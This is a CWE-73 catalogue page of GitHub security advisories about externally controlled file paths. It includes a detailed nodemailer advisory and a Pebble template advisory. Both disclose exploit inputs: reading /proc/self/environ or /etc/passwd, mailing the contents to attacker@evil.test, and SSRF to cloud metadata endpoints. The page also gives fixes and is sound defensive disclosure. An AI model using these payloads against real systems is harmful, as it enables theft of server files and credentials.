CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
911 vulnerabilities reference this CWE, most recent first.
GHSA-MXGC-GQ8G-45HM
Vulnerability from github – Published: 2022-07-14 00:00 – Updated: 2022-07-22 00:00A CWE-73: External Control of File Name or Path vulnerability exists that could cause loading of unauthorized firmware images when user-controlled data is written to the file path. Affected Products: X80 advanced RTU Communication Module (BMENOR2200H) (V2.01 and later), OPC UA Modicon Communication Module (BMENUA0100) (V1.10 and prior)
{
"affected": [],
"aliases": [
"CVE-2022-34765"
],
"database_specific": {
"cwe_ids": [
"CWE-668",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-13T21:15:00Z",
"severity": "MODERATE"
},
"details": "A CWE-73: External Control of File Name or Path vulnerability exists that could cause loading of unauthorized firmware images when user-controlled data is written to the file path. Affected Products: X80 advanced RTU Communication Module (BMENOR2200H) (V2.01 and later), OPC UA Modicon Communication Module (BMENUA0100) (V1.10 and prior)",
"id": "GHSA-mxgc-gq8g-45hm",
"modified": "2022-07-22T00:00:32Z",
"published": "2022-07-14T00:00:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34765"
},
{
"type": "WEB",
"url": "https://download.schneider-electric.com/files?p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2022-193-01_OPC_UA_X80_Advanced_RTU_Modicon_Communication_Modules+_Security_Notification.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MXJC-H3PR-RQQ4
Vulnerability from github – Published: 2025-12-10 21:31 – Updated: 2025-12-10 21:31External control of file name or path in Zoom Rooms for macOS before version 6.6.0 may allow an authenticated user to conduct a disclosure of information via local access.
{
"affected": [],
"aliases": [
"CVE-2025-67461"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-10T21:16:09Z",
"severity": "MODERATE"
},
"details": "External control of file name or path in Zoom Rooms for macOS before version 6.6.0 may allow an authenticated user to conduct a disclosure of information via local access.",
"id": "GHSA-mxjc-h3pr-rqq4",
"modified": "2025-12-10T21:31:38Z",
"published": "2025-12-10T21:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67461"
},
{
"type": "WEB",
"url": "https://www.zoom.com/en/trust/security-bulletin/zsb-25051"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P229-4RM7-JJQ6
Vulnerability from github – Published: 2026-02-04 03:30 – Updated: 2026-02-11 18:31An arbitrary file overwrite vulnerability in the file import process of Comic Book Reader v1.0.95 allows attackers to overwrite critical internal files, potentially leading to arbitrary code execution or exposure of sensitive information.
{
"affected": [],
"aliases": [
"CVE-2025-69621"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-04T02:16:11Z",
"severity": "MODERATE"
},
"details": "An arbitrary file overwrite vulnerability in the file import process of Comic Book Reader v1.0.95 allows attackers to overwrite critical internal files, potentially leading to arbitrary code execution or exposure of sensitive information.",
"id": "GHSA-p229-4rm7-jjq6",
"modified": "2026-02-11T18:31:25Z",
"published": "2026-02-04T03:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69621"
},
{
"type": "WEB",
"url": "https://github.com/Secsys-FDU/AF_CVEs/issues/12"
},
{
"type": "WEB",
"url": "https://android-tools.ru"
},
{
"type": "WEB",
"url": "https://secsys.fudan.edu.cn"
},
{
"type": "WEB",
"url": "http://comic.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P5WV-3RJG-MP4M
Vulnerability from github – Published: 2024-07-21 06:30 – Updated: 2024-07-21 06:30A vulnerability, which was classified as problematic, was found in formtools.org Form Tools 3.1.1. Affected is the function curl_exec of the file /admin/forms/option_lists/edit.php of the component Import Option List. The manipulation of the argument url leads to file inclusion. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-271992. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-6937"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-21T04:15:02Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as problematic, was found in formtools.org Form Tools 3.1.1. Affected is the function curl_exec of the file /admin/forms/option_lists/edit.php of the component Import Option List. The manipulation of the argument url leads to file inclusion. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-271992. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-p5wv-3rjg-mp4m",
"modified": "2024-07-21T06:30:35Z",
"published": "2024-07-21T06:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6937"
},
{
"type": "WEB",
"url": "https://github.com/DeepMountains/Mirage/blob/main/CVE2-3.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.271992"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.271992"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.372602"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-P6GQ-J5CR-W38F
Vulnerability from github – Published: 2026-06-18 14:28 – Updated: 2026-06-18 14:28Message-level raw option bypasses disableFileAccess / disableUrlAccess, enabling arbitrary file read and full-response SSRF in the sent message
- Target: nodemailer/nodemailer, npm
nodemailerv9.0.0 (HEAD4e58450eb490e5097a74b2b2cce35a8d9e21856e) - Verdict: CONFIRMED (local PoC, no network)
Summary
Nodemailer exposes disableFileAccess and disableUrlAccess so an application that passes
untrusted message data to the library can forbid that data from reading local files or
fetching URLs. Every attachment, alternative, html/text/watchHtml/amp and icalEvent
content node honors these flags. The message-level raw option does not.
MailComposer.compile() builds the root MIME node for a raw message without threading the
two flags, so a raw: { path: '/etc/passwd' } or raw: { href: 'http://169.254.169.254/…' }
message is read / fetched anyway, and the file or HTTP-response bytes become the actual
message that is sent by every transport (SMTP, SES, sendmail, stream, JSON). An actor whose
input the application intended to sandbox therefore obtains arbitrary local-file disclosure and
a full-response SSRF primitive, delivered to a recipient the same actor can choose.
This is the same vulnerability class as the already-published jsonTransport advisory
GHSA-wqvq-jvpq-h66f, but a distinct code path (raw root node, not normalize()), and
strictly higher impact: the jsonTransport bug only affected the locally-returned JSON, whereas
this affects the delivered RFC822 message for all transports.
Affected component
lib/mail-composer/index.js:34-35— root cause:js if (this.mail.raw) { this.message = new MimeNode('message/rfc822', { newline: this.mail.newline }).setRaw(this.mail.raw); }TheMimeNodeis constructed with only{ newline }. Compare the sibling node builders_createMixed/_createAlternative/_createRelated/_createContentNode(lib/mail-composer/index.js:389-527), which all passdisableUrlAccess: this.mail.disableUrlAccess, disableFileAccess: this.mail.disableFileAccess.lib/mime-node/index.js:51-52— the constructor derivesthis.disableFileAccess/this.disableUrlAccesssolely from its ownoptions; children do not inherit a parent's flags (createChild/appendChild, lines 175-194, pass options through verbatim).lib/mime-node/index.js:812—setRaw()content is resolved throughthis._getStream(this._raw).lib/mime-node/index.js:984-1010—_getStreamreads the file (fs.createReadStream, 995) or fetches the URL (nmfetch, 1009) only guarded bythis.disableFileAccess/this.disableUrlAccess, which on therawroot node arefalse.- Reached from the normal send flow at
lib/mailer/index.js:188(mail.message = new MailComposer(mail.data).compile()), so every transport is affected.
Reachability gate (hop-by-hop)
- Source. Application calls
transporter.sendMail({ raw: <userControlled> , to: <userControlled> })withdisableFileAccess: trueand/ordisableUrlAccess: trueconfigured on the transporter (forced ontomail.datainlib/mailer/mail-message.js:36-40) or per message. This is the exact scenario the flags exist for — the same precondition under which GHSA-wqvq-jvpq-h66f was accepted. - Guard — the access flags. For attachments the flag is enforced: a node created by
_createContentNodecarriesdisableFileAccess, so_getStreamthrowsEFILEACCESS. Bypass: therawbranch (compile():34-35) never sets the flag on its node, sothis.disableFileAccess === falseand the guard atmime-node:985/:999is skipped. There is no other validation betweenmail.rawand the read;rawcontent shapes ({path},{href}, stream, string, buffer) are accepted as-is bysetRaw/_getStream. - Sink.
fs.createReadStream(content.path)(file disclosure) ornmfetch(content.href, …)(SSRF). The resulting bytes are emitted as the message body bycreateReadStream(), which every transport pipes to its destination (smtp-transport:233,smtp-pool/pool-resource:208,ses-transport:96,sendmail-transport:184,stream-transport:67).
No guard blocks the chain; the only guard (the access flags) is structurally absent on this node.
Root cause
Inconsistent enforcement: the access policy is applied per-MimeNode via constructor options and
must be re-passed at every node creation. The raw-message shortcut in compile() omits it,
while all five other node builders include it. The flags are therefore enforced for every content
type except the one that lets the caller supply a complete message body by path/URL.
Exploit path
Application that sandboxes untrusted mail input (disableFileAccess/disableUrlAccess set):
- Untrusted actor supplies
raw: { path: '/proc/self/environ' }(or any server file:/app/.env, key material, etc.) andto: attacker@evil.test. compile()builds the raw root node without the flags; the transport reads the file and sends its contents as the message → arbitrary server-file exfiltration to an attacker-chosen mailbox.- Alternatively
raw: { href: 'http://127.0.0.1:8080/admin' }or a cloud metadata URL → Nodemailer fetches it server-side and delivers the full response body in the email → full-response SSRF (no blind-channel limitation).
Impact
- Confidentiality (High): arbitrary local file read disclosed in the outgoing message; full-response SSRF to internal/metadata endpoints, also disclosed in the message.
- Integrity (Low): attacker-fetched/file content is injected into the delivered mail.
- The two protective flags an application relies on to contain untrusted input are silently
ineffective for
raw.
Preconditions
The application (a) passes disableFileAccess and/or disableUrlAccess (the documented sandboxing
flags) and (b) lets untrusted input influence the raw field (and, for maximal disclosure, to).
No other configuration is required; all bundled transports are affected. This mirrors the accepted
precondition of GHSA-wqvq-jvpq-h66f.
Severity
- AV — message data routinely originates over the network in the apps these flags protect.
- AC — a single crafted
rawobject; deterministic. - PR — the actor is a user whose input the app already treats as untrusted (the reason the flags are set); not fully anonymous in the typical deployment.
- UI — no victim interaction.
- S — impact within Nodemailer's process scope.
- C — arbitrary file read and full-response SSRF, both delivered to an attacker-chosen recipient. (The sibling jsonTransport advisory used C:L because its leak stayed in locally-returned JSON; here the bytes leave the system in the sent message, so C:H is warranted.)
- I — attacker injects fetched/file bytes into the outgoing message.
- A.
Note: if a deployment fixes the recipient (
tonot attacker-controlled) the disclosure channel narrows and the rating degrades toward the sibling's Medium; the High rating reflects the reasonable worst case whererawandtoare both untrusted.
Adversarial re-read (attempts to refute)
- "
rawcontent is by-design trusted, so the flags shouldn't apply." Rejected: every other content path (attachments, alternatives, html/text, icalEvent) honors the flags, and the maintainer already accepted GHSA-wqvq-jvpq-h66f for exactly this "untrusted input + flag set" model. The asymmetry — attachment{path}is blocked butraw:{path}is not — is the bug, and the PoC's CONTROL case proves the flag is otherwise effective on the same file. - "The raw node inherits the flags via rootNode." Rejected by code and by PoC:
compile():35constructs the node with{ newline }only;MimeNodeconstructor setsthis.disableFileAccess = !!options.disableFileAccess→false;rootNodeis itself; no inheritance exists. - "The PoC leaks for an unrelated reason." Rejected: the CONTROL message (
attachments:[{path}], same file, same transporter) returnsEFILEACCESS; only theraw:{path}message leaks. The sentinel nonce exists solely in the temp file; the URL nonce is generated server-side and is only obtainable by an actual fetch. Both observables are uniquely bound to the bypass. - "Maybe only jsonTransport (already reported) is affected." Rejected: the PoC uses
streamTransportand the root cause is inMailComposer.compile()(mailer:188), shared by all transports; jsonTransport is a different (already-fixed) path.
I could not find any guard that blocks the chain; the finding survives.
Proof of concept (safe, benign)
findings/nodemailer/raw/poc-raw-fileaccess-bypass.js — local, no network egress (loopback only),
no destructive action. Output:
[CONTROL] attachment path with disableFileAccess: BLOCKED (EFILEACCESS) — flag works here
[ATTACK] raw:{path} with disableFileAccess=true: BYPASSED — sentinel file CONTENT present in message
[ATTACK] raw:{href} with disableUrlAccess=true (loopback server): BYPASSED — fetched body present (SSRF)
VERDICT: CONFIRMED
Run: node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js (exit 0 = confirmed).
Remediation
Thread the access policy onto the raw root node, exactly as the other builders do:
if (this.mail.raw) {
this.message = new MimeNode('message/rfc822', {
newline: this.mail.newline,
disableFileAccess: this.mail.disableFileAccess,
disableUrlAccess: this.mail.disableUrlAccess
}).setRaw(this.mail.raw);
}
(Defense in depth: setRaw/_getStream could also refuse {path}/{href} raw content when either
flag is set, regardless of how the node was constructed.) Add a regression test asserting that
raw:{path} and raw:{href} reject with EFILEACCESS/EURLACCESS when the flags are set, mirroring
the attachment tests.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.0"
},
"package": {
"ecosystem": "npm",
"name": "nodemailer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-73",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:28:05Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Message-level `raw` option bypasses `disableFileAccess` / `disableUrlAccess`, enabling arbitrary file read and full-response SSRF in the sent message\n\n- **Target:** nodemailer/nodemailer, npm `nodemailer` **v9.0.0** (HEAD `4e58450eb490e5097a74b2b2cce35a8d9e21856e`)\n- **Verdict:** CONFIRMED (local PoC, no network)\n\n## Summary\n\nNodemailer exposes `disableFileAccess` and `disableUrlAccess` so an application that passes\n**untrusted** message data to the library can forbid that data from reading local files or\nfetching URLs. Every attachment, alternative, `html`/`text`/`watchHtml`/`amp` and `icalEvent`\ncontent node honors these flags. **The message-level `raw` option does not.**\n\n`MailComposer.compile()` builds the root MIME node for a `raw` message **without** threading the\ntwo flags, so a `raw: { path: \u0027/etc/passwd\u0027 }` or `raw: { href: \u0027http://169.254.169.254/\u2026\u0027 }`\nmessage is read / fetched anyway, and the file or HTTP-response bytes become the **actual\nmessage that is sent** by every transport (SMTP, SES, sendmail, stream, JSON). An actor whose\ninput the application intended to sandbox therefore obtains arbitrary local-file disclosure and\na full-response SSRF primitive, delivered to a recipient the same actor can choose.\n\nThis is the same vulnerability class as the already-published jsonTransport advisory\n**GHSA-wqvq-jvpq-h66f**, but a **distinct code path** (`raw` root node, not `normalize()`), and\nstrictly higher impact: the jsonTransport bug only affected the locally-returned JSON, whereas\nthis affects the delivered RFC822 message for all transports.\n\n## Affected component\n\n- `lib/mail-composer/index.js:34-35` \u2014 root cause:\n ```js\n if (this.mail.raw) {\n this.message = new MimeNode(\u0027message/rfc822\u0027, { newline: this.mail.newline }).setRaw(this.mail.raw);\n }\n ```\n The `MimeNode` is constructed with only `{ newline }`. Compare the sibling node builders\n `_createMixed`/`_createAlternative`/`_createRelated`/`_createContentNode`\n (`lib/mail-composer/index.js:389-527`), which all pass\n `disableUrlAccess: this.mail.disableUrlAccess, disableFileAccess: this.mail.disableFileAccess`.\n- `lib/mime-node/index.js:51-52` \u2014 the constructor derives `this.disableFileAccess`/\n `this.disableUrlAccess` solely from its own `options`; children do **not** inherit a parent\u0027s\n flags (`createChild`/`appendChild`, lines 175-194, pass options through verbatim).\n- `lib/mime-node/index.js:812` \u2014 `setRaw()` content is resolved through `this._getStream(this._raw)`.\n- `lib/mime-node/index.js:984-1010` \u2014 `_getStream` reads the file (`fs.createReadStream`, 995) or\n fetches the URL (`nmfetch`, 1009) **only guarded by `this.disableFileAccess`/`this.disableUrlAccess`**,\n which on the `raw` root node are `false`.\n- Reached from the normal send flow at `lib/mailer/index.js:188`\n (`mail.message = new MailComposer(mail.data).compile()`), so every transport is affected.\n\n## Reachability gate (hop-by-hop)\n\n1. **Source.** Application calls `transporter.sendMail({ raw: \u003cuserControlled\u003e , to: \u003cuserControlled\u003e })`\n with `disableFileAccess: true` and/or `disableUrlAccess: true` configured on the transporter\n (forced onto `mail.data` in `lib/mailer/mail-message.js:36-40`) or per message. This is the\n exact scenario the flags exist for \u2014 the same precondition under which GHSA-wqvq-jvpq-h66f was\n accepted.\n2. **Guard \u2014 the access flags.** For attachments the flag is enforced: a node created by\n `_createContentNode` carries `disableFileAccess`, so `_getStream` throws `EFILEACCESS`.\n **Bypass:** the `raw` branch (`compile():34-35`) never sets the flag on its node, so\n `this.disableFileAccess === false` and the guard at `mime-node:985` / `:999` is skipped.\n There is no other validation between `mail.raw` and the read; `raw` content shapes\n (`{path}`, `{href}`, stream, string, buffer) are accepted as-is by `setRaw`/`_getStream`.\n3. **Sink.** `fs.createReadStream(content.path)` (file disclosure) or\n `nmfetch(content.href, \u2026)` (SSRF). The resulting bytes are emitted as the message body by\n `createReadStream()`, which every transport pipes to its destination\n (`smtp-transport:233`, `smtp-pool/pool-resource:208`, `ses-transport:96`, `sendmail-transport:184`,\n `stream-transport:67`).\n\nNo guard blocks the chain; the only guard (the access flags) is structurally absent on this node.\n\n## Root cause\n\nInconsistent enforcement: the access policy is applied per-`MimeNode` via constructor options and\nmust be re-passed at every node creation. The `raw`-message shortcut in `compile()` omits it,\nwhile all five other node builders include it. The flags are therefore enforced for every content\ntype *except* the one that lets the caller supply a complete message body by path/URL.\n\n## Exploit path\n\nApplication that sandboxes untrusted mail input (`disableFileAccess`/`disableUrlAccess` set):\n\n1. Untrusted actor supplies `raw: { path: \u0027/proc/self/environ\u0027 }` (or any server file:\n `/app/.env`, key material, etc.) and `to: attacker@evil.test`.\n2. `compile()` builds the raw root node without the flags; the transport reads the file and sends\n its contents as the message \u2192 **arbitrary server-file exfiltration to an attacker-chosen mailbox.**\n3. Alternatively `raw: { href: \u0027http://127.0.0.1:8080/admin\u0027 }` or a cloud metadata URL \u2192\n Nodemailer fetches it server-side and delivers the full response body in the email \u2192\n **full-response SSRF** (no blind-channel limitation).\n\n## Impact\n\n- **Confidentiality (High):** arbitrary local file read disclosed in the outgoing message;\n full-response SSRF to internal/metadata endpoints, also disclosed in the message.\n- **Integrity (Low):** attacker-fetched/file content is injected into the delivered mail.\n- The two protective flags an application relies on to contain untrusted input are silently\n ineffective for `raw`.\n\n## Preconditions\n\nThe application (a) passes `disableFileAccess` and/or `disableUrlAccess` (the documented sandboxing\nflags) and (b) lets untrusted input influence the `raw` field (and, for maximal disclosure, `to`).\nNo other configuration is required; all bundled transports are affected. This mirrors the accepted\nprecondition of GHSA-wqvq-jvpq-h66f.\n\n## Severity\n\n- **AV** \u2014 message data routinely originates over the network in the apps these flags protect.\n- **AC** \u2014 a single crafted `raw` object; deterministic.\n- **PR** \u2014 the actor is a user whose input the app already treats as untrusted (the reason the\n flags are set); not fully anonymous in the typical deployment.\n- **UI** \u2014 no victim interaction.\n- **S** \u2014 impact within Nodemailer\u0027s process scope.\n- **C** \u2014 arbitrary file read **and** full-response SSRF, both delivered to an attacker-chosen\n recipient. (The sibling jsonTransport advisory used C:L because its leak stayed in locally-returned\n JSON; here the bytes leave the system in the sent message, so C:H is warranted.)\n- **I** \u2014 attacker injects fetched/file bytes into the outgoing message.\n- **A**.\nNote: if a deployment fixes the recipient (`to` not attacker-controlled) the disclosure channel\nnarrows and the rating degrades toward the sibling\u0027s Medium; the High rating reflects the\nreasonable worst case where `raw` and `to` are both untrusted.\n\n## Adversarial re-read (attempts to refute)\n\n1. **\"`raw` content is by-design trusted, so the flags shouldn\u0027t apply.\"** Rejected: every other\n content path (attachments, alternatives, html/text, icalEvent) honors the flags, and the\n maintainer already accepted GHSA-wqvq-jvpq-h66f for exactly this \"untrusted input + flag set\"\n model. The asymmetry \u2014 attachment `{path}` is blocked but `raw:{path}` is not \u2014 is the bug, and\n the PoC\u0027s CONTROL case proves the flag is otherwise effective on the same file.\n2. **\"The raw node inherits the flags via rootNode.\"** Rejected by code and by PoC: `compile():35`\n constructs the node with `{ newline }` only; `MimeNode` constructor sets\n `this.disableFileAccess = !!options.disableFileAccess` \u2192 `false`; `rootNode` is itself; no\n inheritance exists.\n3. **\"The PoC leaks for an unrelated reason.\"** Rejected: the CONTROL message (`attachments:[{path}]`,\n same file, same transporter) returns `EFILEACCESS`; only the `raw:{path}` message leaks. The\n sentinel nonce exists solely in the temp file; the URL nonce is generated server-side and is only\n obtainable by an actual fetch. Both observables are uniquely bound to the bypass.\n4. **\"Maybe only jsonTransport (already reported) is affected.\"** Rejected: the PoC uses\n `streamTransport` and the root cause is in `MailComposer.compile()` (`mailer:188`), shared by all\n transports; jsonTransport is a different (already-fixed) path.\n\nI could not find any guard that blocks the chain; the finding survives.\n\n## Proof of concept (safe, benign)\n\n`findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` \u2014 local, no network egress (loopback only),\nno destructive action. Output:\n```\n[CONTROL] attachment path with disableFileAccess: BLOCKED (EFILEACCESS) \u2014 flag works here\n[ATTACK] raw:{path} with disableFileAccess=true: BYPASSED \u2014 sentinel file CONTENT present in message\n[ATTACK] raw:{href} with disableUrlAccess=true (loopback server): BYPASSED \u2014 fetched body present (SSRF)\nVERDICT: CONFIRMED\n```\nRun: `node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` (exit 0 = confirmed).\n\n## Remediation\n\nThread the access policy onto the `raw` root node, exactly as the other builders do:\n```js\nif (this.mail.raw) {\n this.message = new MimeNode(\u0027message/rfc822\u0027, {\n newline: this.mail.newline,\n disableFileAccess: this.mail.disableFileAccess,\n disableUrlAccess: this.mail.disableUrlAccess\n }).setRaw(this.mail.raw);\n}\n```\n(Defense in depth: `setRaw`/`_getStream` could also refuse `{path}`/`{href}` raw content when either\nflag is set, regardless of how the node was constructed.) Add a regression test asserting that\n`raw:{path}` and `raw:{href}` reject with `EFILEACCESS`/`EURLACCESS` when the flags are set, mirroring\nthe attachment tests.",
"id": "GHSA-p6gq-j5cr-w38f",
"modified": "2026-06-18T14:28:05Z",
"published": "2026-06-18T14:28:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-p6gq-j5cr-w38f"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodemailer/nodemailer"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nodemailer: Message-level raw option bypasses disableFileAccess/disableUrlAccess, enabling arbitrary file read and full-response SSRF in the delivered message"
}
GHSA-P6QP-R9QF-V2M7
Vulnerability from github – Published: 2024-09-27 12:31 – Updated: 2024-09-27 12:31A vulnerability was found in jeanmarc77 123solar up to 1.8.4.5. It has been rated as critical. This issue affects some unknown processing of the file /admin/admin_invt2.php. The manipulation of the argument PROTOCOLx leads to file inclusion. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2024-9275"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-27T11:15:13Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in jeanmarc77 123solar up to 1.8.4.5. It has been rated as critical. This issue affects some unknown processing of the file /admin/admin_invt2.php. The manipulation of the argument PROTOCOLx leads to file inclusion. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-p6qp-r9qf-v2m7",
"modified": "2024-09-27T12:31:40Z",
"published": "2024-09-27T12:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9275"
},
{
"type": "WEB",
"url": "https://github.com/jeanmarc77/123solar/issues/75"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.278657"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.278657"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.408326"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-P747-W96H-FWCJ
Vulnerability from github – Published: 2026-05-19 18:32 – Updated: 2026-05-19 18:32Terrascan v1.18.3 and prior are vulnerable to Server-Side Request Forgery (SSRF) via the remote_url parameter in the remote directory scan endpoint (POST /v1/{iac}/{iacVersion}/{cloud}/remote/dir/scan) when running in server mode. An unauthenticated remote attacker can supply an attacker-controlled HTTP URL as remote_url with remote_type set to "http". The URL is passed directly to hashicorp/go-getter (v1.7.5) without validation. Go-getter's HttpGetter supports the X-Terraform-Get response header, allowing the attacker's server to redirect the download to a file:// URL, enabling local file read. Additionally, HttpGetter has Netrc set to true, causing it to read ~/.netrc and send stored credentials to attacker-controlled hostnames. This affects deployments running terrascan in server mode (terrascan server), which binds to 0.0.0.0 with no authentication. Note: Terrascan was archived in August 2023 and no patch will be released.
{
"affected": [],
"aliases": [
"CVE-2026-47357"
],
"database_specific": {
"cwe_ids": [
"CWE-73",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-19T17:16:22Z",
"severity": "CRITICAL"
},
"details": "Terrascan v1.18.3 and prior are vulnerable to Server-Side Request Forgery (SSRF) via the remote_url parameter in the remote directory scan endpoint (POST /v1/{iac}/{iacVersion}/{cloud}/remote/dir/scan) when running in server mode. An unauthenticated remote attacker can supply an attacker-controlled HTTP URL as remote_url with remote_type set to \"http\". The URL is passed directly to hashicorp/go-getter (v1.7.5) without validation. Go-getter\u0027s HttpGetter supports the X-Terraform-Get response header, allowing the attacker\u0027s server to redirect the download to a file:// URL, enabling local file read. Additionally, HttpGetter has Netrc set to true, causing it to read ~/.netrc and send stored credentials to attacker-controlled hostnames. This affects deployments running terrascan in server mode (terrascan server), which binds to 0.0.0.0 with no authentication. Note: Terrascan was archived in August 2023 and no patch will be released.",
"id": "GHSA-p747-w96h-fwcj",
"modified": "2026-05-19T18:32:13Z",
"published": "2026-05-19T18:32:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47357"
},
{
"type": "WEB",
"url": "https://github.com/tenable/terrascan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-P75G-CXFJ-7WRX
Vulnerability from github – Published: 2025-02-28 19:45 – Updated: 2026-04-24 20:55Summary
If untrusted user input is used to dynamically create a PebbleTemplate with the method PebbleEngine#getLiteralTemplate, then an attacker can include arbitrary local files from the file system into the generated template, leaking potentially sensitive information into the output of PebbleTemplate#evaluate. This is done via the include macro.
Details
The include macro calls PebbleTempateImpl#resolveRelativePath with the relativePath argument passed within the template:
Example template:
{% include [relativePath] %}
When resolveRelativePath is called, the relativePath is resolved against the PebbleTemplateImpl.name variable.
/**
* This method resolves the given relative path based on this template file path.
*
* @param relativePath the path which should be resolved.
* @return the resolved path.
*/
public String resolveRelativePath(String relativePath) {
String resolved = this.engine.getLoader().resolveRelativePath(relativePath, this.name);
if (resolved == null) {
return relativePath;
} else {
return resolved;
}
}
https://github.com/PebbleTemplates/pebble/blob/82ad7fcf9e9eaa45ee82ae3335a1409d19c10263/pebble/src/main/java/io/pebbletemplates/pebble/template/PebbleTemplateImpl.java#L380
Unfortunately, when the template is created from a string, as is the case when PebbleEngine#getLiteralTemplate is used, the PebbleTemplateImpl.name variable is actually the entirety of the contents of the template, not a filename as the logic expects. The net result is that the relativePath is resolved against the system root directory. As a result, files accessible from the root directory of the filesystem can be included into a template.
PoC
The following test demonstrates the vulnerability:
PebbleEngine e = new PebbleEngine.Builder().build();
String templateString = """
{% include '/etc/passwd' %}
""";
PebbleTemplate template = e.getLiteralTemplate(templateString);
try (final Writer writer = new StringWriter()) {
template.evaluate(writer, new HashMap<>());
System.out.println(writer);
}
As an attacker, the following malicious template demonstrates the vulnerability:
{% include '/etc/passwd' %}
Impact
